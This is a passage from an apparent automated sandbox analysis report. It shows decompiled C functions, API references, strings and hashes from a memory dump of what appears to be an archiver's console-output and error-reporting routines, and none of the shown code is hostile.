				fputs(" Time =",  *_t81);
				_t82 = E01263B80(_a4, _a8, 0x989680, 0);
				_t58 = 6;
				E01260BE8(_t58, 0x20, _t90, _t31, _t69);
				_t34 =  *0x12746fc; // 0x1274440
				fputc(0x2e,  *_t34);
				_t73 = 0x30;
				_t61 = 3;
				E01260BE8(_t61, 0x30, _t90, (_a4 - _t82 * 0x989680) / 0x2710, 0);
				_t91 = _a8 - 0x1000000;
				if(_t91 >= 0) {
					if(_t91 > 0) {
						L3:
						_t75 = _a8;
						_t67 = 1;
						_a4 = E01263C70(_a4, _t67, _t75);
						_a8 = _t75;
						_t73 = _a16;
						_t68 = 1;
						_t52 = E01263C70(_a12, _t68, _t73);
						_t93 = _a8 - 0x1000000;
						_a12 = _t52;
						_a16 = _t73;
					} else {
						L2:
						if(_a4 > 0) {
							do {
								goto L3;
							} while (_t93 > 0);
							if(_t93 >= 0) {
								goto L2;
							}
						}
					}
				}
				_t86 = 0;
				_t94 = _a12 | _a16;
				_v8 = 0;
				if((_a12 | _a16) != 0) {
					_t86 = E01263B80(E01263D00(_a4, _a8, 0x64, 0), _t73, _a12, _a16);
					_v8 = _t73;
				}
				_t42 =  *0x12746fc; // 0x1274440
				fputs(" =",  *_t42);
				_t64 = 5;
				E01260BE8(_t64, 0x20, _t94, _t86, _v8);
				_t45 =  *0x12746fc; // 0x1274440
				return fputc(0x25,  *_t45);
			}

0x01260c38
0x01260c38
0x01260c3b
0x01260c3c
0x01260c3f
0x01260c4a
0x01260c58
0x01260c61
0x01260c78
0x01260c80
0x01260c83
0x01260c88
0x01260c97
0x01260cae
0x01260cb3
0x01260cb7
0x01260cc1
0x01260cc4
0x01260cc6
0x01260cce
0x01260cd1
0x01260cd6
0x01260cdc
0x01260ce4
0x01260ce7
0x01260cea
0x01260ceb
0x01260cf0
0x01260cf3
0x01260cf6
0x01260cc8
0x01260cc8
0x01260ccc
0x01260cce
0x00000000
0x00000000
0x01260cfb
0x00000000
0x00000000
0x01260cfb
0x01260ccc
0x01260cc6
0x01260d00
0x01260d02
0x01260d05
0x01260d08
0x01260d25
0x01260d27
0x01260d27
0x01260d2a
0x01260d36
0x01260d3e
0x01260d43
0x01260d48
0x01260d59

APIs

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

fputs.MSVCRT ref: 01260C58
fputs.MSVCRT ref: 01260C61
__aulldiv.LIBCMT ref: 01260C73

Part of subcall function 01260BE8: fputs.MSVCRT ref: 01260C29

fputc.MSVCRT ref: 01260C97
__aulldiv.LIBCMT ref: 01260D20
fputs.MSVCRT ref: 01260D36
fputc.MSVCRT ref: 01260D51

Strings

Kernel , xrefs: 01260C3B, 01260C3C, 01260C51
F#v, xrefs: 01260C4F, 01260C5A, 01260C93, 01260D2F, 01260D4D
Time =, xrefs: 01260C5C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$fputc$__aulldiv
String ID: F#v$ Time =$Kernel
API String ID: 3602660170-3442619384
Opcode ID: 67bcded68d29f6dadfafb4aa532c32c6a899f7e1ed0974188089d2c0c5044515
Instruction ID: 6f213e8162bfa53d8425345c2508decbc02c7d74a649261ee5f75de8ef0d938a
Opcode Fuzzy Hash: 67bcded68d29f6dadfafb4aa532c32c6a899f7e1ed0974188089d2c0c5044515
Instruction Fuzzy Hash: 0D310632610205BFEB10EF98DC41F9E77A9FF48760F10841AFA089B2D0D7B19D909B94

Uniqueness

Uniqueness Score: -1.00%

Function 01260D5C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E01260D5C(char* __ecx, void* __eflags) {
				void* __ebx;
				void* _t17;
				struct _IO_FILE** _t19;
				int _t22;
				void* _t23;
				struct _IO_FILE** _t24;
				char* _t26;
				void* _t29;
				void* _t30;
				intOrPtr _t39;
				struct _IO_FILE** _t42;
				intOrPtr _t43;
				void* _t48;
				void* _t54;

				_t54 = __eflags;
				E012639E0(0x126788c, _t48);
				_t42 =  *0x12746fc; // 0x1274440
				_t26 = __ecx;
				fputs("    ",  *_t42);
				fputs(_t26,  *_t42);
				fputs(" Memory =",  *_t42);
				_t39 =  *((intOrPtr*)(_t48 + 0xc));
				_t43 = 0;
				asm("adc edx, edi");
				_t29 = 0x14;
				_t17 = E01263C70( *((intOrPtr*)(_t48 + 8)) + 0xfffff, _t29, _t39);
				_push(_t39);
				_push(_t17);
				_t30 = 7;
				E01260BE8(_t30, 0x20, _t54);
				_t19 =  *0x12746fc; // 0x1274440
				fputs(" MB",  *_t19);
				E0123232F(_t48 - 0x18);
				 *((intOrPtr*)(_t48 - 4)) = _t43;
				_t22 = E01242E4D(_t26, _t48 - 0x18);
				if( *((intOrPtr*)(_t48 - 0x14)) != _t43) {
					_t24 =  *0x12746fc; // 0x1274440
					_t22 = fputs( *(_t48 - 0x18),  *_t24);
				}
				_t23 = E01231ABD(_t22,  *(_t48 - 0x18));
				 *[fs:0x0] =  *((intOrPtr*)(_t48 - 0xc));
				return _t23;
			}

0x01260d5c
0x01260d61
0x01260d72
0x01260d78
0x01260d81
0x01260d86
0x01260d8f
0x01260d94
0x01260da1
0x01260da4
0x01260da6
0x01260da7
0x01260dac
0x01260dad
0x01260db2
0x01260db3
0x01260db8
0x01260dc4
0x01260dcb
0x01260dd3
0x01260dd6
0x01260dde
0x01260de0
0x01260dea
0x01260ded
0x01260df1
0x01260dfd
0x01260e05

APIs

__EH_prolog.LIBCMT ref: 01260D61
fputs.MSVCRT ref: 01260D81
fputs.MSVCRT ref: 01260D86
fputs.MSVCRT ref: 01260D8F

Part of subcall function 01260BE8: fputs.MSVCRT ref: 01260C29

fputs.MSVCRT ref: 01260DC4
fputs.MSVCRT ref: 01260DEA

Strings

MB, xrefs: 01260DBF
Memory =, xrefs: 01260D8A
F#v, xrefs: 01260D7A, 01260D83, 01260D88, 01260DBD, 01260DE5
, xrefs: 01260D7C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog
String ID: $ F#v$ MB$ Memory =
API String ID: 2614055831-396005173
Opcode ID: 6229b8273027c6fd7ba15f0aae0f44fde28e8b036ca33122d20b66d84488bfe9
Instruction ID: 600c8522c04c29f9852d30b6611d4a6ba0ca58c4fe12e90daa3a9d37a1356a52
Opcode Fuzzy Hash: 6229b8273027c6fd7ba15f0aae0f44fde28e8b036ca33122d20b66d84488bfe9
Instruction Fuzzy Hash: 0B119172A10206EFDB15BB95EC42E6EBB79FF54310F10411BF600962D4EB726890DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0125D2F3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0125D2F3(struct _IO_FILE** __ecx, intOrPtr* __edx, char _a4) {
				void* __ebp;
				intOrPtr* _t14;
				struct _IO_FILE** _t15;
				char* _t18;

				_t14 = __edx;
				_t15 = __ecx;
				_t18 = "WARNING";
				if(_a4 == 0) {
					_t18 = 0x126a408;
				}
				fputs("Open ",  *_t15);
				fputs(_t18,  *_t15);
				fputs(": Can not open the file as [",  *_t15);
				_push( *_t14);
				_t16 = E01231CC1(_t15);
				fputs("] archive",  *_t5);
				return E01231CAE(_t16);
			}

0x0125d2f3
0x0125d2fc
0x0125d2fe
0x0125d303
0x0125d305
0x0125d305
0x0125d319
0x0125d31e
0x0125d327
0x0125d32e
0x0125d334
0x0125d33d
0x0125d34c

APIs

fputs.MSVCRT ref: 0125D319
fputs.MSVCRT ref: 0125D31E
fputs.MSVCRT ref: 0125D327
fputs.MSVCRT ref: 0125D33D

Strings

Open , xrefs: 0125D314
] archive, xrefs: 0125D338
: Can not open the file as [, xrefs: 0125D322
ERROR, xrefs: 0125D305, 0125D31D
WARNING, xrefs: 0125D2FE

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs
String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
API String ID: 1795875747-2741933734
Opcode ID: 93fbe659ca93e8dc7229b3627f36fa73db750bb1c377c701396ddccc14f77478
Instruction ID: 423f3a67bba9dee0aa230dc94a64fb40e86267291c638f2e1ccadd56bbc12cd8
Opcode Fuzzy Hash: 93fbe659ca93e8dc7229b3627f36fa73db750bb1c377c701396ddccc14f77478
Instruction Fuzzy Hash: 23F0EC71B112197FC611679A6C85D2EBF5DDFD5260B24402BF90493291EF321CB19FB1

Uniqueness

Uniqueness Score: -1.00%

Function 0125B2C4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 252
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0125B2C4(void* __ecx) {
				void* __edi;
				struct _IO_FILE** _t107;
				void* _t108;
				void* _t123;
				signed int _t161;
				signed int _t163;
				void* _t164;
				struct _IO_FILE** _t165;
				struct _IO_FILE** _t166;
				intOrPtr _t214;
				void* _t216;
				intOrPtr _t219;
				void* _t220;
				intOrPtr* _t221;
				void* _t223;
				void* _t225;

				E012639E0(0x1267148, _t225);
				_t223 = __ecx;
				_t161 = 0;
				_push(_t216);
				if( *((intOrPtr*)(__ecx + 0xbc)) != 0) {
					E0126183F(__ecx + 0x18, _t216, 1);
					if( *((intOrPtr*)(_t223 + 0xbc)) != 0) {
						 *((intOrPtr*)(_t223 + 0x28)) = 0;
						 *((intOrPtr*)(_t223 + 0x2c)) = 0;
						 *((intOrPtr*)(_t223 + 0x34)) = 0;
						 *( *(_t223 + 0x30)) =  *( *(_t223 + 0x30)) & 0;
						 *((intOrPtr*)(_t223 + 0x40)) = 0;
						 *((short*)( *((intOrPtr*)(_t223 + 0x3c)))) = 0;
					}
				}
				E0125A997(_t223);
				 *(_t225 - 0x10) = _t161;
				if( *((intOrPtr*)( *((intOrPtr*)(_t225 + 0xc)) + 4)) <= _t161) {
					L44:
					if( *((intOrPtr*)(_t225 + 0x14)) != _t161) {
						 *((intOrPtr*)(_t223 + 0x130)) =  *((intOrPtr*)(_t223 + 0x130)) + 1;
						_t169 =  *(_t223 + 0xc8);
						asm("adc [eax+0x4], ebx");
						__eflags =  *(_t223 + 0xc8) - _t161;
						if( *(_t223 + 0xc8) != _t161) {
							E01231C9F(_t169);
						}
						_t107 =  *(_t223 + 0xcc);
						__eflags = _t107 - _t161;
						if(_t107 == _t161) {
							L58:
							_t108 = E0125A3B2();
							goto L59;
						} else {
							fputs( *0x126aa1c,  *_t107);
							_push( *((intOrPtr*)(_t225 + 0x10)));
							E01231E60( *(_t223 + 0xcc), _t212);
							E01231CAE( *(_t223 + 0xcc));
							_t108 = E0125D3B2( *(_t223 + 0xcc),  *((intOrPtr*)(_t225 + 8)), _t225,  *((intOrPtr*)(_t225 + 0xc)));
							__eflags = _t108 - _t161;
							if(_t108 != _t161) {
								L59:
								 *[fs:0x0] =  *((intOrPtr*)(_t225 - 0xc));
								return _t108;
							}
							_t214 =  *((intOrPtr*)(_t225 + 0x14));
							__eflags = _t214 - 1;
							if(_t214 != 1) {
								__eflags = _t214 - 0x8007000e;
								if(__eflags != 0) {
									_push( *((intOrPtr*)(E01234B4D(_t225 - 0x24, _t214, __eflags))));
									 *(_t225 - 4) = _t161;
									E01231ABD(E01231CC1( *(_t223 + 0xcc)),  *((intOrPtr*)(_t225 - 0x24)));
								} else {
									fputs("Can\'t allocate required memory",  *( *(_t223 + 0xcc)));
								}
								E01231CAE( *(_t223 + 0xcc));
							}
							E01231C9F( *(_t223 + 0xcc));
							goto L58;
						}
					}
					_t182 =  *(_t223 + 0xc8);
					if( *(_t223 + 0xc8) == _t161) {
						goto L58;
					}
					_t108 = E0125CD30(_t182,  *((intOrPtr*)(_t225 + 8)),  *((intOrPtr*)(_t225 + 0xc)));
					if(_t108 != _t161) {
						goto L59;
					}
					E01231CAE( *(_t223 + 0xc8));
					goto L58;
				} else {
					goto L4;
				}
				do {
					L4:
					_t219 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t225 + 0xc)))) +  *(_t225 - 0x10) * 4));
					 *((intOrPtr*)(_t225 - 0x14)) = _t219;
					_t220 = _t219 + 0x10;
					_t163 =  *(_t220 + 4);
					if( *((char*)(_t220 + 1)) != 0) {
						_t163 = _t163 | 0x00000020;
					}
					if(_t163 != 0 ||  *((intOrPtr*)(_t220 + 0x1c)) != _t163) {
						_t185 =  *(_t223 + 0xcc);
						if( *(_t223 + 0xcc) != 0) {
							E01231CAE(_t185);
							if( *(_t225 - 0x10) != 0) {
								E01231E52( *((intOrPtr*)(_t225 - 0x14)) + 0x70);
								E01231CAE( *(_t223 + 0xcc));
							}
						}
						if(_t163 != 0) {
							_t208 =  *(_t223 + 0xcc);
							if( *(_t223 + 0xcc) != 0) {
								_t212 = "ERRORS:";
								E0125B09C(_t208, "ERRORS:", _t163);
							}
							 *((intOrPtr*)(_t223 + 0x148)) =  *((intOrPtr*)(_t223 + 0x148)) + 1;
							 *((char*)(_t223 + 0x120)) = 1;
							asm("adc dword [eax+0x4], 0x0");
						}
						if( *((intOrPtr*)(_t220 + 0x1c)) != 0) {
							_t166 =  *(_t223 + 0xcc);
							if(_t166 != 0) {
								 *((intOrPtr*)(_t225 - 0x18)) =  *((intOrPtr*)(_t220 + 0x18));
								fputs("ERRORS:",  *_t166);
								E01231CAE(_t166);
								_push( *((intOrPtr*)(_t225 - 0x18)));
								E01231CAE(E01231CC1(_t166));
							}
							 *((intOrPtr*)(_t223 + 0x148)) =  *((intOrPtr*)(_t223 + 0x148)) + 1;
							 *((char*)(_t223 + 0x120)) = 1;
							asm("adc dword [eax+0x4], 0x0");
						}
						_t186 =  *(_t223 + 0xcc);
						if( *(_t223 + 0xcc) != 0) {
							E01231CAE(_t186);
							E01231C9F( *(_t223 + 0xcc));
						}
					}
					_t123 = E0125B66A(_t220);
					_t164 = _t123;
					if(_t164 != 0 ||  *((intOrPtr*)(_t220 + 0x28)) != _t123) {
						_t188 =  *(_t223 + 0xc8);
						if( *(_t223 + 0xc8) != 0) {
							E01231CAE(_t188);
							if( *(_t225 - 0x10) != 0) {
								E01231E52( *((intOrPtr*)(_t225 - 0x14)) + 0x70);
								E01231CAE( *(_t223 + 0xc8));
							}
						}
						if(_t164 != 0) {
							_t199 =  *(_t223 + 0xc8);
							if( *(_t223 + 0xc8) != 0) {
								_t212 = "WARNINGS:";
								E0125B09C(_t199, "WARNINGS:", _t164);
							}
							 *((intOrPtr*)(_t223 + 0x150)) =  *((intOrPtr*)(_t223 + 0x150)) + 1;
							 *((char*)(_t223 + 0x121)) = 1;
							asm("adc dword [eax+0x4], 0x0");
						}
						if( *((intOrPtr*)(_t220 + 0x28)) != 0) {
							_t165 =  *(_t223 + 0xc8);
							if(_t165 != 0) {
								 *((intOrPtr*)(_t225 - 0x18)) =  *((intOrPtr*)(_t220 + 0x24));
								fputs("WARNINGS:",  *_t165);
								E01231CAE(_t165);
								_push( *((intOrPtr*)(_t225 - 0x18)));
								E01231CAE(E01231CC1(_t165));
							}
							 *((intOrPtr*)(_t223 + 0x150)) =  *((intOrPtr*)(_t223 + 0x150)) + 1;
							 *((char*)(_t223 + 0x121)) = 1;
							asm("adc dword [eax+0x4], 0x0");
						}
						_t189 =  *(_t223 + 0xc8);
						if( *(_t223 + 0xc8) != 0) {
							E01231CAE(_t189);
							if( *((char*)(_t223 + 0x168)) != 0) {
								E01231C9F( *(_t223 + 0xc8));
							}
						}
					}
					if( *((intOrPtr*)(_t220 + 0xc)) >= 0) {
						_t191 =  *(_t223 + 0xc8);
						_t221 = _t223 + 0xc8;
						_t258 =  *(_t223 + 0xc8);
						if( *(_t223 + 0xc8) != 0) {
							_push( *((intOrPtr*)(_t225 - 0x14)));
							_t212 =  *((intOrPtr*)(_t225 + 8));
							E0125B1E7(_t191,  *((intOrPtr*)(_t225 + 8)), _t258);
							if( *((char*)(_t223 + 0x168)) != 0) {
								E01231C9F( *_t221);
							}
						}
						 *((char*)(_t223 + 0x121)) = 1;
					}
					 *(_t225 - 0x10) =  *(_t225 - 0x10) + 1;
				} while ( *(_t225 - 0x10) <  *((intOrPtr*)( *((intOrPtr*)(_t225 + 0xc)) + 4)));
				_t161 = 0;
				goto L44;
			}

0x0125b2c9
0x0125b2d3
0x0125b2d5
0x0125b2d7
0x0125b2de
0x0125b2e5
0x0125b2f0
0x0125b2f2
0x0125b2f5
0x0125b2fb
0x0125b2fe
0x0125b303
0x0125b306
0x0125b306
0x0125b2f0
0x0125b30b
0x0125b313
0x0125b319
0x0125b558
0x0125b55b
0x0125b58e
0x0125b595
0x0125b5a1
0x0125b5a4
0x0125b5a6
0x0125b5a8
0x0125b5a8
0x0125b5ad
0x0125b5b3
0x0125b5b5
0x0125b654
0x0125b654
0x00000000
0x0125b5bb
0x0125b5c9
0x0125b5cd
0x0125b5d6
0x0125b5e1
0x0125b5f2
0x0125b5f7
0x0125b5f9
0x0125b659
0x0125b65f
0x0125b667
0x0125b667
0x0125b5fb
0x0125b5fe
0x0125b601
0x0125b603
0x0125b609
0x0125b625
0x0125b62d
0x0125b638
0x0125b60b
0x0125b618
0x0125b61a
0x0125b644
0x0125b644
0x0125b64f
0x00000000
0x0125b64f
0x0125b5b5
0x0125b55d
0x0125b565
0x00000000
0x00000000
0x0125b571
0x0125b578
0x00000000
0x00000000
0x0125b584
0x00000000
0x00000000
0x00000000
0x00000000
0x0125b31f
0x0125b31f
0x0125b327
0x0125b32a
0x0125b32d
0x0125b334
0x0125b337
0x0125b339
0x0125b339
0x0125b33e
0x0125b349
0x0125b351
0x0125b353
0x0125b35c
0x0125b36b
0x0125b376
0x0125b376
0x0125b35c
0x0125b37d
0x0125b37f
0x0125b387
0x0125b38a
0x0125b38f
0x0125b38f
0x0125b394
0x0125b3a1
0x0125b3a8
0x0125b3a8
0x0125b3b0
0x0125b3b2
0x0125b3ba
0x0125b3c1
0x0125b3c9
0x0125b3d3
0x0125b3d8
0x0125b3e4
0x0125b3e4
0x0125b3e9
0x0125b3f6
0x0125b3fd
0x0125b3fd
0x0125b401
0x0125b409
0x0125b40b
0x0125b416
0x0125b416
0x0125b409
0x0125b41d
0x0125b422
0x0125b426
0x0125b431
0x0125b439
0x0125b43b
0x0125b444
0x0125b453
0x0125b45e
0x0125b45e
0x0125b444
0x0125b465
0x0125b467
0x0125b46f
0x0125b472
0x0125b477
0x0125b477
0x0125b47c
0x0125b489
0x0125b490
0x0125b490
0x0125b498
0x0125b49a
0x0125b4a2
0x0125b4a9
0x0125b4b1
0x0125b4bb
0x0125b4c0
0x0125b4cc
0x0125b4cc
0x0125b4d1
0x0125b4de
0x0125b4e5
0x0125b4e5
0x0125b4e9
0x0125b4f1
0x0125b4f3
0x0125b4ff
0x0125b507
0x0125b507
0x0125b4ff
0x0125b4f1
0x0125b510
0x0125b512
0x0125b518
0x0125b51e
0x0125b520
0x0125b522
0x0125b525
0x0125b528
0x0125b534
0x0125b538
0x0125b538
0x0125b534
0x0125b53d
0x0125b53d
0x0125b544
0x0125b54d
0x0125b556
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0125B2C9
fputs.MSVCRT ref: 0125B3C9

Part of subcall function 0126183F: fputs.MSVCRT ref: 012618A8

fputs.MSVCRT ref: 0125B4B1
fputs.MSVCRT ref: 0125B5C9
fputs.MSVCRT ref: 0125B618

Part of subcall function 01231C9F: fflush.MSVCRT ref: 01231CA1

Part of subcall function 01234B4D: __EH_prolog.LIBCMT ref: 01234B52

Part of subcall function 01231CC1: __EH_prolog.LIBCMT ref: 01231CC6
Part of subcall function 01231CC1: fputs.MSVCRT ref: 01231D39

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

WARNINGS:, xrefs: 0125B472, 0125B4AC
ERRORS:, xrefs: 0125B38A, 0125B3C4
Can't allocate required memory, xrefs: 0125B613

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog$fflushfree
String ID: Can't allocate required memory$ERRORS:$WARNINGS:
API String ID: 1750297421-1898165966
Opcode ID: 9730f7b3d0f6b80dff58b42711ac06f6ea29bf0ad5f29dbc8b4396baf95777a1
Instruction ID: 7a40355947ac9c6e82a2d9f2767e42eb474885e7174d49f414b8897ce0512442
Opcode Fuzzy Hash: 9730f7b3d0f6b80dff58b42711ac06f6ea29bf0ad5f29dbc8b4396baf95777a1
Instruction Fuzzy Hash: 86B16070621706DFEB65EF64C8D0BBABBB2FF94304F14492DCA5A57291CB30A854CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0125B6CD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0125B6CD(void* __ecx) {
				void* __edi;
				intOrPtr* _t65;
				intOrPtr _t76;
				struct _IO_FILE** _t91;
				struct _CRITICAL_SECTION* _t97;
				struct _IO_FILE** _t99;
				struct _IO_FILE** _t102;
				void* _t104;
				intOrPtr _t105;
				void* _t107;

				E012639E0(0x1267164, _t107);
				_t97 = 0x12746e0;
				_t104 = __ecx;
				 *(_t107 - 0x10) = 0x12746e0;
				EnterCriticalSection(0x12746e0);
				 *((intOrPtr*)(_t107 - 4)) = 0;
				if( *((intOrPtr*)(_t104 + 0xbc)) != 0) {
					E0126183F(_t104 + 0x18, 0x12746e0, 1);
					 *((intOrPtr*)(_t104 + 0x34)) = 0;
					 *((char*)( *((intOrPtr*)(_t104 + 0x30)))) = 0;
					 *((intOrPtr*)(_t104 + 0x40)) = 0;
					 *((short*)( *((intOrPtr*)(_t104 + 0x3c)))) = 0;
				}
				_t75 =  *(_t104 + 0xc8);
				if( *(_t104 + 0xc8) != 0) {
					E01231C9F(_t75);
				}
				_t76 =  *((intOrPtr*)(_t107 + 8));
				if(_t76 != 0) {
					 *((intOrPtr*)(_t104 + 0x138)) =  *((intOrPtr*)(_t104 + 0x138)) + 1;
					asm("adc [eax+0x4], ebx");
					__eflags = _t76 - 0x80004004;
					if(_t76 == 0x80004004) {
						L27:
						_t105 = _t76;
					} else {
						__eflags = _t76 - 0x70;
						if(_t76 == 0x70) {
							goto L27;
						} else {
							_t99 =  *(_t104 + 0xcc);
							__eflags = _t99;
							if(_t99 != 0) {
								E01231CAE(_t99);
								fputs( *0x126aa1c,  *_t99);
								_t95 =  *((intOrPtr*)(_t107 + 8));
								__eflags =  *((intOrPtr*)(_t107 + 8)) - 0x8007000e;
								if(__eflags != 0) {
									_push( *((intOrPtr*)(E01234B4D(_t107 - 0x1c, _t95, __eflags))));
									 *((char*)(_t107 - 4)) = 1;
									E01231ABD(E01231CC1( *(_t104 + 0xcc)),  *((intOrPtr*)(_t107 - 0x1c)));
								} else {
									fputs( *0x126aa2c,  *( *(_t104 + 0xcc)));
								}
								E01231CAE( *(_t104 + 0xcc));
								_t85 =  *(_t104 + 0xcc);
								goto L25;
							}
							goto L26;
						}
					}
				} else {
					if(( *(_t104 + 0x160) |  *(_t104 + 0x164)) != 0 ||  *((intOrPtr*)(_t104 + 0x120)) != 0) {
						 *((intOrPtr*)(_t104 + 0x138)) =  *((intOrPtr*)(_t104 + 0x138)) + 1;
						_t87 =  *(_t104 + 0xc8);
						asm("adc [eax+0x4], ebx");
						__eflags =  *(_t104 + 0xc8);
						if( *(_t104 + 0xc8) != 0) {
							E01231CAE(_t87);
							__eflags =  *(_t104 + 0x160) |  *(_t104 + 0x164);
							if(( *(_t104 + 0x160) |  *(_t104 + 0x164)) != 0) {
								_t101 =  *(_t104 + 0xc8);
								fputs("Sub items Errors: ",  *( *(_t104 + 0xc8)));
								_t91 = E01231F47(_t101,  *(_t104 + 0x160),  *(_t104 + 0x164));
								goto L14;
							}
						}
					} else {
						_t65 = _t104 + 0x140;
						if( *((intOrPtr*)(_t104 + 0x121)) == 0) {
							_t65 = _t104 + 0x128;
						}
						 *_t65 =  *_t65 + 1;
						_t102 =  *(_t104 + 0xc8);
						asm("adc [eax+0x4], ebx");
						if(_t102 != 0) {
							fputs( *0x126aa38,  *_t102);
							_t91 = _t102;
							L14:
							E01231CAE(_t91);
						}
					}
					_t85 =  *(_t104 + 0xc8);
					if( *(_t104 + 0xc8) != 0 &&  *((intOrPtr*)(_t104 + 0x168)) != 0) {
						L25:
						E01231C9F(_t85);
					}
					L26:
					_t105 = E0125A3B2();
					_t97 = 0x12746e0;
				}
				LeaveCriticalSection(_t97);
				 *[fs:0x0] =  *((intOrPtr*)(_t107 - 0xc));
				return _t105;
			}

0x0125b6d2
0x0125b6dd
0x0125b6e2
0x0125b6e5
0x0125b6e8
0x0125b6f6
0x0125b6f9
0x0125b700
0x0125b708
0x0125b70b
0x0125b710
0x0125b713
0x0125b713
0x0125b716
0x0125b71e
0x0125b720
0x0125b720
0x0125b725
0x0125b72a
0x0125b7f9
0x0125b806
0x0125b809
0x0125b80f
0x0125b8a5
0x0125b8a5
0x0125b815
0x0125b815
0x0125b818
0x00000000
0x0125b81e
0x0125b81e
0x0125b824
0x0125b826
0x0125b82a
0x0125b83d
0x0125b83f
0x0125b843
0x0125b84a
0x0125b867
0x0125b86f
0x0125b87b
0x0125b84c
0x0125b85a
0x0125b85c
0x0125b887
0x0125b88c
0x00000000
0x0125b88c
0x00000000
0x0125b826
0x0125b818
0x0125b730
0x0125b73c
0x0125b77e
0x0125b785
0x0125b791
0x0125b794
0x0125b796
0x0125b798
0x0125b7a3
0x0125b7a9
0x0125b7ab
0x0125b7b8
0x0125b7d3
0x00000000
0x0125b7d3
0x0125b7a9
0x0125b746
0x0125b74c
0x0125b752
0x0125b754
0x0125b754
0x0125b75a
0x0125b75d
0x0125b763
0x0125b768
0x0125b772
0x0125b77a
0x0125b7d5
0x0125b7d5
0x0125b7d5
0x0125b768
0x0125b7da
0x0125b7e2
0x0125b892
0x0125b892
0x0125b892
0x0125b897
0x0125b89c
0x0125b89e
0x0125b89e
0x0125b8a8
0x0125b8b6
0x0125b8be

APIs

__EH_prolog.LIBCMT ref: 0125B6D2
EnterCriticalSection.KERNEL32(012746E0), ref: 0125B6E8
fputs.MSVCRT ref: 0125B772
LeaveCriticalSection.KERNEL32(012746E0), ref: 0125B8A8

Part of subcall function 0126183F: fputs.MSVCRT ref: 012618A8

fputs.MSVCRT ref: 0125B7B8

Part of subcall function 01231F47: fputs.MSVCRT ref: 01231F64

fputs.MSVCRT ref: 0125B83D
fputs.MSVCRT ref: 0125B85A

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Strings

Sub items Errors: , xrefs: 0125B7B3

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$CriticalSection$EnterH_prologLeavefputc
String ID: Sub items Errors:
API String ID: 2670240366-2637271492
Opcode ID: 33a02a248c26f55f943e71563655d4815bfa05ad99aaf5eb616129a74de6f200
Instruction ID: d0a06be46b03233232956a48636857ef09c5852ceb02e598660a1ae91e8cd3ca
Opcode Fuzzy Hash: 33a02a248c26f55f943e71563655d4815bfa05ad99aaf5eb616129a74de6f200
Instruction Fuzzy Hash: 4E51C432520742CFD769EF68D8C4AAABBF2FF94314F18482ED65A47690CB317854CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012356B4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E012356B4(intOrPtr __ecx, void* __edx, signed short** _a4, signed char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v28;
